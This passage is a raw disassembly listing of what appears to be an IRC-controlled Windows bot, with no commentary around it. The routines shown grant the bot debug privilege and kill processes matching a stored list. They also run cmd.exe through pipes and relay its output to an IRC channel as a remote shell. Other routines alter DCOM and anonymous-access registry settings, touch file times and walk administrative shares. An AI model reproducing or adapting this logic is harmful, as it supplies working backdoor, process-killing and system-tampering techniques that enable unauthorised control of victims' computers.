mov dword ptr [ebp-10h], 4F5A5h
xor edi, edi
loc_4135BA: ; CODE XREF: .data:004135F1j
push ebx
push dword ptr [ebp+edi-2Ch]
push dword ptr [ebp+8]
call sub_419FD0
push dword ptr [ebp+8]
push esi
push esi
push dword ptr [ebp-8]
call sub_4173D0
push esi
push dword ptr [ebp+edi-80h]
push dword ptr [ebp-8]
call sub_418830
add esp, 28h
test eax, eax
jnz short loc_4135EB
inc dword ptr [ebp-4]
loc_4135EB: ; CODE XREF: .data:004135E6j
add edi, 4
cmp edi, 20h
jl short loc_4135BA
cmp dword ptr [ebp-4], 8
jge loc_4136D1
mov [ebp-0Ch], esi
xor edi, edi
loc_413602: ; CODE XREF: .data:00413626j
push ebx
push dword ptr [ebp+edi-2Ch]
push dword ptr [ebp+8]
call sub_419FD0
push dword ptr [ebp+8]
push esi
push esi
push dword ptr [ebp+edi-80h]
call sub_41A170
add edi, 4
add esp, 1Ch
cmp edi, 20h
jl short loc_413602
jmp loc_4136D1
; ---------------------------------------------------------------------------
loc_41362D: ; CODE XREF: .data:0041345Fj
mov dword ptr [ebp-2Ch], 130h
mov dword ptr [ebp-28h], 131h
mov dword ptr [ebp-24h], 132h
mov dword ptr [ebp-20h], 133h
mov dword ptr [ebp-1Ch], 4F322h
mov dword ptr [ebp-18h], 4F323h
mov dword ptr [ebp-14h], 4F324h
mov dword ptr [ebp-10h], 4F325h
xor edi, edi
loc_413667: ; CODE XREF: .data:0041369Ej
push ebx
push dword ptr [ebp+edi-2Ch]
push dword ptr [ebp+8]
call sub_419FD0
push dword ptr [ebp+8]
push esi
push esi
push dword ptr [ebp-8]
call sub_4173D0
push esi
push dword ptr [ebp+edi-60h]
push dword ptr [ebp-8]
call sub_418830
add esp, 28h
test eax, eax
jnz short loc_413698
inc dword ptr [ebp-4]
loc_413698: ; CODE XREF: .data:00413693j
add edi, 4
cmp edi, 20h
jl short loc_413667
cmp dword ptr [ebp-4], 8
jge short loc_4136D1
mov [ebp-0Ch], esi
xor edi, edi
loc_4136AB: ; CODE XREF: .data:004136CFj
push ebx
push dword ptr [ebp+edi-2Ch]
push dword ptr [ebp+8]
call sub_419FD0
push dword ptr [ebp+8]
push esi
push esi
push dword ptr [ebp+edi-60h]
call sub_41A170
add edi, 4
add esp, 1Ch
cmp edi, 20h
jl short loc_4136AB
loc_4136D1: ; CODE XREF: .data:00413474j
; .data:004134C7j ...
push dword ptr [ebp+8]
call sub_414F40
pop ecx
lea eax, [ebp-1A8h]
push ebx
push 80h
push 3
push ebx
push 2
push 40000000h
push eax
call dword_4E03D8 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_413721
lea eax, [ebp-90h]
push eax
lea eax, [ebp-98h]
push eax
lea eax, [ebp-88h]
push eax
push esi
call dword_4E0414 ; SetFileTime
push esi
call dword_4E032C ; CloseHandle
loc_413721: ; CODE XREF: .data:004136FCj
cmp [ebp-0Ch], ebx
jz short loc_41376F
push dword ptr [ebp-0A4h]
lea eax, [ebp-3B0h]
push offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d."
push 200h
push eax
call sub_417E80
push ebx
lea eax, [ebp-3B0h]
push dword ptr [ebp-0A0h]
push eax
push offset aXp_0 ; "#xp"
push dword ptr [ebp-1B0h]
call sub_40764A
lea eax, [ebp-3B0h]
push eax
call sub_40F927
add esp, 28h
loc_41376F: ; CODE XREF: .data:00413724j
push dword ptr [ebp-1ACh]
mov dword_437294, ebx
call sub_409979
pop ecx
push ebx
call dword_4E03A0 ; ExitThread
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413788 proc near ; CODE XREF: sub_411DBC+7p
; sub_4137F3+5Fp ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_4E03C4 ; GetCurrentProcess
push eax
call dword_4D664C ; OpenProcessToken
test eax, eax
jnz short loc_4137A7
leave
retn
; ---------------------------------------------------------------------------
loc_4137A7: ; CODE XREF: sub_413788+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4D6624 ; LookupPrivilegeValueA
test eax, eax
jz short loc_4137E5
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_4137CE
or [ebp+var_8], 2
jmp short loc_4137D2
; ---------------------------------------------------------------------------
loc_4137CE: ; CODE XREF: sub_413788+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_4137D2: ; CODE XREF: sub_413788+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4D66D4 ; AdjustTokenPrivileges
mov esi, eax
loc_4137E5: ; CODE XREF: sub_413788+32j
push [ebp+var_4]
call dword_4E032C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_413788 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4137F3 proc near ; CODE XREF: sub_401C87+3812p
; sub_413A33+74p ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4D6688, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_413A03
cmp dword_4D666C, ebx
jz loc_413A03
cmp dword_4D657C, ebx
jz loc_413A03
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413788
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4D6688 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4139F6
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4D666C ; Process32First
mov esi, dword_4E032C
test eax, eax
jz loc_4139F1
lea eax, [ebp+var_130]
push eax
push edi
call dword_4D657C ; Process32Next
test eax, eax
jz loc_4139F1
mov edi, dword_4E0348
mov ebx, 1F0FFFh
loc_4138B7: ; CODE XREF: sub_4137F3+1F6j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_41391B
mov [ebp+var_4], eax
loc_4138C1: ; CODE XREF: sub_4137F3+F0j
mov eax, [ebp+var_4]
push off_4444B8[eax]
lea eax, [ebp+var_10C]
push eax
call dword_4E042C ; lstrcmpiA
test eax, eax
jz short loc_4138EA
add [ebp+var_4], 4
cmp [ebp+var_4], 60h
jb short loc_4138C1
jmp loc_4139D7
; ---------------------------------------------------------------------------
loc_4138EA: ; CODE XREF: sub_4137F3+E6j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
test eax, eax
mov [ebp+var_4], eax
jz loc_4139D7
push 0
push eax
call dword_4E03BC ; TerminateProcess
test eax, eax
jnz loc_4139D7
loc_413911: ; CODE XREF: sub_4137F3+1CAj
push [ebp+var_4]
call esi ; CloseHandle
jmp loc_4139D7
; ---------------------------------------------------------------------------
loc_41391B: ; CODE XREF: sub_4137F3+C9j
cmp [ebp+arg_C], eax
jnz loc_4139C2
cmp [ebp+arg_4], eax
jz loc_4139D7
push [ebp+var_128]
push 8
call dword_4D6688 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_413982
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4D6528 ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_413974
lea eax, [ebp+var_234]
push eax
push offset aSD ; " %s (%d)"
jmp short loc_413994
; ---------------------------------------------------------------------------
loc_413974: ; CODE XREF: sub_4137F3+171j
lea eax, [ebp+var_10C]
push eax
push offset aSD_0 ; " %s (%d)"
jmp short loc_413994
; ---------------------------------------------------------------------------
loc_413982: ; CODE XREF: sub_4137F3+159j
push [ebp+var_128]
lea eax, [ebp+var_10C]
push eax
push offset aSD_1 ; " %s (%d)"
loc_413994: ; CODE XREF: sub_4137F3+17Fj
; sub_4137F3+18Dj
lea eax, [ebp+var_554]
push eax
call sub_417CB0
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
jmp loc_413911
; ---------------------------------------------------------------------------
loc_4139C2: ; CODE XREF: sub_4137F3+12Bj
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_413A0A
loc_4139D7: ; CODE XREF: sub_4137F3+F2j
; sub_4137F3+107j ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4D657C ; Process32Next
test eax, eax
jnz loc_4138B7
xor ebx, ebx
loc_4139F1: ; CODE XREF: sub_4137F3+9Dj
; sub_4137F3+B3j
push [ebp+var_8]
call esi ; CloseHandle
loc_4139F6: ; CODE XREF: sub_4137F3+77j
push ebx
push offset aSedebugprivi_0 ; "SeDebugPrivilege"
call sub_413788
pop ecx
pop ecx
loc_413A03: ; CODE XREF: sub_4137F3+3Aj
; sub_4137F3+46j ...
xor eax, eax
loc_413A05: ; CODE XREF: sub_4137F3+23Ej
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413A0A: ; CODE XREF: sub_4137F3+1E2j
push [ebp+var_128]
push 0
push ebx
call edi ; OpenProcess
push [ebp+var_8]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call dword_4E03BC ; TerminateProcess
test eax, eax
jnz short loc_413A2E
push edi
call esi ; CloseHandle
jmp short loc_413A03
; ---------------------------------------------------------------------------
loc_413A2E: ; CODE XREF: sub_4137F3+234j
xor eax, eax
inc eax
jmp short loc_413A05
sub_4137F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A33 proc near ; DATA XREF: sub_401C87+219Bo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_444564
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_417CB0
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_413A92
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40764A
add esp, 14h
loc_413A92: ; CODE XREF: sub_413A33+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4137F3
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_413AC0
push offset unk_444584
jmp short loc_413AC5
; ---------------------------------------------------------------------------
loc_413AC0: ; CODE XREF: sub_413A33+84j
push offset unk_4445A8
loc_413AC5: ; CODE XREF: sub_413A33+8Bj
push eax
call sub_417CB0
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_413AF2
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40764A
add esp, 14h
loc_413AF2: ; CODE XREF: sub_413A33+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40F927
push [ebp+var_14]
call sub_409979
pop ecx
pop ecx
push esi
call dword_4E03A0 ; ExitThread
pop edi
pop esi
sub_413A33 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413B11 proc near ; CODE XREF: sub_401C87+37B0p
; sub_40979E+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call dword_4E0348 ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_413B43
push 0
push esi
call dword_4E03BC ; TerminateProcess
test eax, eax
jnz short loc_413B43
push esi
xor edi, edi
call dword_4E032C ; CloseHandle
loc_413B43: ; CODE XREF: sub_413B11+1Aj
; sub_413B11+27j
mov eax, edi
pop edi
pop esi
retn
sub_413B11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_413B48 proc near ; DATA XREF: sub_401404+3B8o
push esi
xor esi, esi
loc_413B4B: ; CODE XREF: sub_413B48+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_4137F3
add esp, 18h
push dword_444368
call dword_4E033C ; Sleep
jmp short loc_413B4B
sub_413B48 endp
; =============== S U B R O U T I N E =======================================
sub_413B68 proc near ; CODE XREF: sub_413B98+2Ap
; sub_413BD0+7Ep ...
mov eax, dword_4DDEF0
push esi
mov esi, dword_4E032C
cmp eax, 0FFFFFFFFh
jz short loc_413B7C
push eax
call esi ; CloseHandle
loc_413B7C: ; CODE XREF: sub_413B68+Fj
mov eax, dword_4DDEF8
cmp eax, 0FFFFFFFFh
jz short loc_413B89
push eax
call esi ; CloseHandle
loc_413B89: ; CODE XREF: sub_413B68+1Cj
mov eax, dword_4DDEEC
cmp eax, 0FFFFFFFFh
jz short loc_413B96
push eax
call esi ; CloseHandle
loc_413B96: ; CODE XREF: sub_413B68+29j
pop esi
retn
sub_413B68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B98 proc near ; CODE XREF: sub_401C87+34DEp
; sub_4104B2+14Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_414EC0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DDEF4
call dword_4E03B4 ; WriteFile
test eax, eax
jnz short loc_413BCB
call sub_413B68
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_413BCB: ; CODE XREF: sub_413B98+28j
xor eax, eax
inc eax
leave
retn
sub_413B98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413BD0 proc near ; CODE XREF: sub_413C57+D3p
; sub_413C57+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_4DDF34
push [ebp+arg_4]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_413C13
push 7D0h
call dword_4E033C ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_417CB0
add esp, 10h
jmp short loc_413C2A
; ---------------------------------------------------------------------------
loc_413C13: ; CODE XREF: sub_413BD0+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_19 ; "%s"
push eax
call sub_417CB0
add esp, 0Ch
loc_413C2A: ; CODE XREF: sub_413BD0+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4D66B8 ; send
test eax, eax
jg short loc_413C53
call sub_413B68
loc_413C53: ; CODE XREF: sub_413BD0+7Cj
xor eax, eax
leave
retn
sub_413BD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C57 proc near ; DATA XREF: sub_413DAC+174o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DDEFC
loc_413C6F: ; CODE XREF: sub_413C57+79j
; sub_413C57+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DDEF0
call dword_4E0434 ; PeekNamedPipe
test eax, eax
jz loc_413D3D
cmp [ebp+var_4], edi
jnz short loc_413CD2
lea eax, [ebp+var_8]
push eax
push dword_4DDEEC
call dword_4E0430 ; GetExitCodeProcess
test eax, eax
jz short loc_413CC8
cmp [ebp+var_8], 103h
jnz loc_413D61
loc_413CC8: ; CODE XREF: sub_413C57+62j
push 0Ah
call dword_4E033C ; Sleep
jmp short loc_413C6F
; ---------------------------------------------------------------------------
loc_413CD2: ; CODE XREF: sub_413C57+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_413CE9
loc_413CD9: ; CODE XREF: sub_413C57+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_413D37
inc eax
cmp eax, [ebp+var_4]
jb short loc_413CD9
loc_413CE9: ; CODE XREF: sub_413C57+80j
mov [ebp+var_4], esi
loc_413CEC: ; CODE XREF: sub_413C57+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DDEF0
call dword_4E03B8 ; ReadFile
test eax, eax
jz short loc_413D89
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DDF30
call sub_413BD0
add esp, 0Ch
jmp loc_413C6F
; ---------------------------------------------------------------------------
loc_413D37: ; CODE XREF: sub_413C57+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_413CEC
; ---------------------------------------------------------------------------
loc_413D3D: ; CODE XREF: sub_413C57+45j
push offset unk_4445E0
push ebx
push dword_4DDF30
call sub_413BD0
push [ebp+arg_0]
call sub_409979
add esp, 10h
push 1
call dword_4E03A0 ; ExitThread
loc_413D61: ; CODE XREF: sub_413C57+6Bj
call sub_413B68
push offset unk_444610
push ebx
push dword_4DDF30
call sub_413BD0
push [ebp+arg_0]
call sub_409979
add esp, 10h
push edi
call dword_4E03A0 ; ExitThread
loc_413D89: ; CODE XREF: sub_413C57+C3j
push offset unk_444638
push ebx
push dword_4DDF30
call sub_413BD0
push [ebp+arg_0]
call sub_409979
add esp, 10h
push edi
call dword_4E03A0 ; ExitThread
sub_413C57 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413DAC proc near ; CODE XREF: sub_401C87+1FCAp
; sub_4104B2+99p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
push edi
call sub_413B68
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe_0 ; "cmd.exe"
push esi
call dword_4D6720 ; SearchPathA
test eax, eax
jz loc_413EA6
lea eax, [ebp+var_1C]
mov edi, dword_4E03C8
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], 1
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_413EA6
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_413EA6
mov edi, dword_4E03C4
push 3
push esi
push esi
push offset dword_4DDEF4
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call dword_4E03C0 ; DuplicateHandle
test eax, eax
jz short loc_413EA6
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_417700
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_417700
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
lea eax, [ebp+var_178]
push offset byte_4DDF35
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call dword_4E0330 ; CreateProcessA
test eax, eax
jnz short loc_413EAE
loc_413EA6: ; CODE XREF: sub_413DAC+2Ej
; sub_413DAC+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_413F60
; ---------------------------------------------------------------------------
loc_413EAE: ; CODE XREF: sub_413DAC+F8j
push [ebp+var_4]
mov edi, dword_4E032C
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DDEF0, eax
mov eax, [ebp+var_8]
mov dword_4DDEF8, eax
mov eax, [ebp+var_2C]
mov dword_4DDEEC, eax
call edi ; CloseHandle
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DDF30, eax
jz short loc_413EE8
push [ebp+arg_4]
jmp short loc_413EED
; ---------------------------------------------------------------------------
loc_413EE8: ; CODE XREF: sub_413DAC+135j
push offset word_4DDF36
loc_413EED: ; CODE XREF: sub_413DAC+13Aj
push offset dword_4DDEFC
call sub_417CB0
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_444670
call sub_409663
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_4495A8[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_413C57
push esi
push esi
call dword_4E0340 ; CreateThread
cmp eax, esi
mov dword_4495B4[edi], eax
jnz short loc_413F5E
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_444694
push eax
call sub_417CB0
lea eax, [ebp+var_378]
push eax
call sub_40F927
add esp, 10h
loc_413F5E: ; CODE XREF: sub_413DAC+189j
xor eax, eax
loc_413F60: ; CODE XREF: sub_413DAC+FDj
pop edi
pop esi
leave
retn
sub_413DAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F64 proc near ; DATA XREF: sub_401C87+27D5o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_413FAB
call sub_413FC4
jmp short loc_413FB0
; ---------------------------------------------------------------------------
loc_413FAB: ; CODE XREF: sub_413F64+3Ej
call sub_4142EA
loc_413FB0: ; CODE XREF: sub_413F64+45j
add esp, 10h
push [ebp+var_14]
call sub_409979
pop ecx
push 0
call dword_4E03A0 ; ExitThread
sub_413F64 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413FC4 proc near ; CODE XREF: sub_413F64+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4D6734, edi
jnz loc_4140F6
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4D66D8 ; RegOpenKeyExA
test eax, eax
jnz short loc_41404F
mov ax, word_444708
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4D668C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_414037
push offset dword_444718
jmp short loc_41403C
; ---------------------------------------------------------------------------
loc_414037: ; CODE XREF: sub_413FC4+6Aj
push offset dword_44473C
loc_41403C: ; CODE XREF: sub_413FC4+71j
push eax
call sub_417CB0
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D6644 ; RegCloseKey
jmp short loc_414062
; ---------------------------------------------------------------------------
loc_41404F: ; CODE XREF: sub_413FC4+36j
lea eax, [ebp+var_214]
push offset dword_44475C
push eax
call sub_417CB0
pop ecx
pop ecx
loc_414062: ; CODE XREF: sub_413FC4+89j
cmp [ebp+arg_C], edi
jnz short loc_414081
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_414081: ; CODE XREF: sub_413FC4+A1j
lea eax, [ebp+var_214]
push eax
call sub_40F927
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4D66D8 ; RegOpenKeyExA
test eax, eax
jnz short loc_4140EF
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4D668C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_4140D7
push offset dword_4447A0
jmp short loc_4140DC
; ---------------------------------------------------------------------------
loc_4140D7: ; CODE XREF: sub_413FC4+10Aj
push offset dword_4447DC
loc_4140DC: ; CODE XREF: sub_413FC4+111j
push eax
call sub_417CB0
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D6644 ; RegCloseKey
jmp short loc_414109
; ---------------------------------------------------------------------------
loc_4140EF: ; CODE XREF: sub_413FC4+E2j
push offset dword_444810
jmp short loc_4140FB
; ---------------------------------------------------------------------------
loc_4140F6: ; CODE XREF: sub_413FC4+13j
push offset dword_44484C
loc_4140FB: ; CODE XREF: sub_413FC4+130j
lea eax, [ebp+var_214]
push eax
call sub_417CB0
pop ecx
pop ecx
loc_414109: ; CODE XREF: sub_413FC4+129j
cmp [ebp+arg_C], edi
jnz short loc_414128
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_414128: ; CODE XREF: sub_413FC4+148j
lea eax, [ebp+var_214]
push eax
call sub_40F927
cmp dword_4D675C, edi
pop ecx
jnz loc_4142A5
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41414B: ; CODE XREF: sub_413FC4+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4D65AC
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_4141EA
cmp eax, 0EAh
jz short loc_4141EA
xor esi, esi
loc_414179: ; CODE XREF: sub_413FC4+21Fj
push off_4446E8[esi]
push edi
call sub_412839
pop ecx
pop ecx
push off_4446E8[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41419E
push offset dword_44487C
jmp short loc_4141A3
; ---------------------------------------------------------------------------
loc_41419E: ; CODE XREF: sub_413FC4+1D1j
push offset dword_4448A0
loc_4141A3: ; CODE XREF: sub_413FC4+1D8j
push 200h
push eax
call sub_417E80
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_4141D0
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_4141D0: ; CODE XREF: sub_413FC4+1F0j
lea eax, [ebp+var_214]
push eax
call sub_40F927
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_414179
jmp loc_414282
; ---------------------------------------------------------------------------
loc_4141EA: ; CODE XREF: sub_413FC4+1AAj
; sub_413FC4+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_414279
loc_4141F9: ; CODE XREF: sub_413FC4+2B1j
mov edi, [esi]
push edi
call sub_41A860
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41426E
push edi
call sub_412726
push eax
push 0
call sub_412839
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41422E
push offset dword_4448CC
jmp short loc_414233
; ---------------------------------------------------------------------------
loc_41422E: ; CODE XREF: sub_413FC4+261j
push offset dword_4448F0
